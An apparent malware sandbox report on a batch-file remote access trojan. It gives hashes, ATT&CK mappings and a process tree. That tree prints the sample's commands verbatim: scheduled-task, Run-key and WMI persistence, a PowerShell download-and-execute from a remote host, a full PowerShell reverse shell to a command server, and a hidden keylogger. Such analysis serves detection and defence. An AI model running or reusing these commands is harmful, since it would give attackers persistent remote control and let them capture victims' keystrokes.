b7afd9994b0d9090881dc0d5969932760274d96f4cc43cc3712b08c04630e29e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:17

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General

Target
rat_build_96024_014310.bat
Size 4KB
Sample260529-17c1jsb15n
SHA256 b7afd9994b0d9090881dc0d5969932760274d96f4cc43cc3712b08c04630e29e
MD5 0694362caaedc1352b8d09f6cea90ae3
SHA1 906ea49041caa690010e149266a4f7c5fbffd908
SHA512 ade83ebdd96b2e53f4e8d4673fca5127e53c454ca50cc93a3abdacc1ac0ed8a71995ffb529a187f2e73cd4bd5c74a4738cfd1ac387d66a5791e14e0747f4b206
SSDEEP 96:8IQeW7VS3P3ZbNhX8INIp8pKljLO7FgF/XiFgZk8mvlo1edy:8p7VudXxNIp8p8jcFgiFgkHl9dy
TLSH
T1B3A1D71797976120E1B03609DA763858536CDEFB1301CADEFE89DCC82E5CE43952D9A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_96024.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2436	powershell.exe
4736	powershell.exe
568	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_96024 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_96024.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3236	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
404	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1556	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2436	powershell.exe
2436	powershell.exe
4736	powershell.exe
4736	powershell.exe
568	powershell.exe
568	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2692	WMIC.exe
Token: SeSecurityPrivilege	2692	WMIC.exe
Token: SeTakeOwnershipPrivilege	2692	WMIC.exe
Token: SeLoadDriverPrivilege	2692	WMIC.exe
Token: SeSystemProfilePrivilege	2692	WMIC.exe
Token: SeSystemtimePrivilege	2692	WMIC.exe
Token: SeProfSingleProcessPrivilege	2692	WMIC.exe
Token: SeIncBasePriorityPrivilege	2692	WMIC.exe
Token: SeCreatePagefilePrivilege	2692	WMIC.exe
Token: SeBackupPrivilege	2692	WMIC.exe
Token: SeRestorePrivilege	2692	WMIC.exe
Token: SeShutdownPrivilege	2692	WMIC.exe
Token: SeDebugPrivilege	2692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2692	WMIC.exe
Token: SeRemoteShutdownPrivilege	2692	WMIC.exe
Token: SeUndockPrivilege	2692	WMIC.exe
Token: SeManageVolumePrivilege	2692	WMIC.exe
Token: 33	2692	WMIC.exe
Token: 34	2692	WMIC.exe
Token: 35	2692	WMIC.exe
Token: 36	2692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2692	WMIC.exe
Token: SeSecurityPrivilege	2692	WMIC.exe
Token: SeTakeOwnershipPrivilege	2692	WMIC.exe
Token: SeLoadDriverPrivilege	2692	WMIC.exe
Token: SeSystemProfilePrivilege	2692	WMIC.exe
Token: SeSystemtimePrivilege	2692	WMIC.exe
Token: SeProfSingleProcessPrivilege	2692	WMIC.exe
Token: SeIncBasePriorityPrivilege	2692	WMIC.exe
Token: SeCreatePagefilePrivilege	2692	WMIC.exe
Token: SeBackupPrivilege	2692	WMIC.exe
Token: SeRestorePrivilege	2692	WMIC.exe
Token: SeShutdownPrivilege	2692	WMIC.exe
Token: SeDebugPrivilege	2692	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2692	WMIC.exe
Token: SeRemoteShutdownPrivilege	2692	WMIC.exe
Token: SeUndockPrivilege	2692	WMIC.exe
Token: SeManageVolumePrivilege	2692	WMIC.exe
Token: 33	2692	WMIC.exe
Token: 34	2692	WMIC.exe
Token: 35	2692	WMIC.exe
Token: 36	2692	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4264	WMIC.exe
Token: SeSecurityPrivilege	4264	WMIC.exe
Token: SeTakeOwnershipPrivilege	4264	WMIC.exe
Token: SeLoadDriverPrivilege	4264	WMIC.exe
Token: SeSystemProfilePrivilege	4264	WMIC.exe
Token: SeSystemtimePrivilege	4264	WMIC.exe
Token: SeProfSingleProcessPrivilege	4264	WMIC.exe
Token: SeIncBasePriorityPrivilege	4264	WMIC.exe
Token: SeCreatePagefilePrivilege	4264	WMIC.exe
Token: SeBackupPrivilege	4264	WMIC.exe
Token: SeRestorePrivilege	4264	WMIC.exe
Token: SeShutdownPrivilege	4264	WMIC.exe
Token: SeDebugPrivilege	4264	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4264	WMIC.exe
Token: SeRemoteShutdownPrivilege	4264	WMIC.exe
Token: SeUndockPrivilege	4264	WMIC.exe
Token: SeManageVolumePrivilege	4264	WMIC.exe
Token: 33	4264	WMIC.exe
Token: 34	4264	WMIC.exe
Token: 35	4264	WMIC.exe
Token: 36	4264	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4264	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 452	1096	cmd.exe	88
PID 1096 wrote to memory of 1556	1096	cmd.exe	89
PID 1096 wrote to memory of 2692	1096	cmd.exe	90
PID 1096 wrote to memory of 4264	1096	cmd.exe	92
PID 1096 wrote to memory of 4692	1096	cmd.exe	93
PID 1096 wrote to memory of 404	1096	cmd.exe	95
PID 1096 wrote to memory of 3236	1096	cmd.exe	103
PID 1096 wrote to memory of 2436	1096	cmd.exe	104
PID 1096 wrote to memory of 4736	1096	cmd.exe	105
PID 1096 wrote to memory of 568	1096	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_96024_014310.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_96024" /tr "C:\Users\Admin\AppData\Local\Temp\_96024.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:452
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_96024" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_96024.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1556
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_96024", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_96024", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_96024.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4264
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_96024.txt
  2⤵
  PID:4692
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:404
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_96024.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 61c07f7df9c44400175371a89b06003be24adcad7220ed05ac72d2aca52b68e5
MD5 c903489e9cfca48b3fa68cf02b111b85
SHA1 e48d72fb73d092f6b1ab26a21a43bfb13e6756e4
SHA512 be5a4a5e702e319d1f381d0b914e926ea6cd700ffe1b25d3af115bdc201e978eb9ff720291cec5dfe15c4d5f32334901bcb8e20ea821a2ffe12fc1d7ee2f0c25
TLSH
T175117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 02f480620132cb6ea1fc4f651610692e2b5b121c5f0ad68699e0670fd9994961
MD5 b039ee0dadcb1ada767fa6cdd138f0de
SHA1 d30b5d432351c942213db1d8848b56dee00b9114
SHA512 f975bac071093a9c7a15cdc7ff0a77effb22d6cd774e79abf471922f8f29582bce5c4ef79637933e3c7c44fd11a1b09a6e2cc38de0496e443717287b50c35b0d
TLSH
T16C115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_skkuerxm.pcp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_skkuerxm.pcp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2436-3-0x0000025AE3930000-0x0000025AE3952000-memory.dmp

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